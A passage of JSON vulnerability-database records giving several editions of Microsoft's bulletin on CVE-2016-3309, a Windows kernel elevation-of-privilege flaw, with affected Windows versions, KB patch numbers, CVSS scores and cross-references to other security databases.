"KB3168965", "KB3172985"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-06T16:54:12", "differentElements": ["msAffectedSoftware"], "edition": 17}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-06T18:45:08", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-06T18:45:08", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-06T18:45:08", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3168965", "KB3177725", "KB3176492", "KB3172985", "KB3176495", "KB3176493", "KB3163912"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-06T18:45:08", "differentElements": ["msAffectedSoftware"], "edition": 18}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-07T08:44:11", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-07T08:44:11", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-07T08:44:11", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3177725", "KB3163912", "KB3176493", "KB3176495", "KB3176492", "KB3168965", "KB3172985"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-07T08:44:11", "differentElements": ["msAffectedSoftware"], "edition": 19}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-07T10:44:23", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-09-07T10:44:23", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-07T10:44:23", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3176495", "KB3168965", "KB3176493", "KB3163912", "KB3177725", "KB3172985", "KB3176492"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-07T10:44:23", "differentElements": ["msAffectedSoftware"], "edition": 20}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": 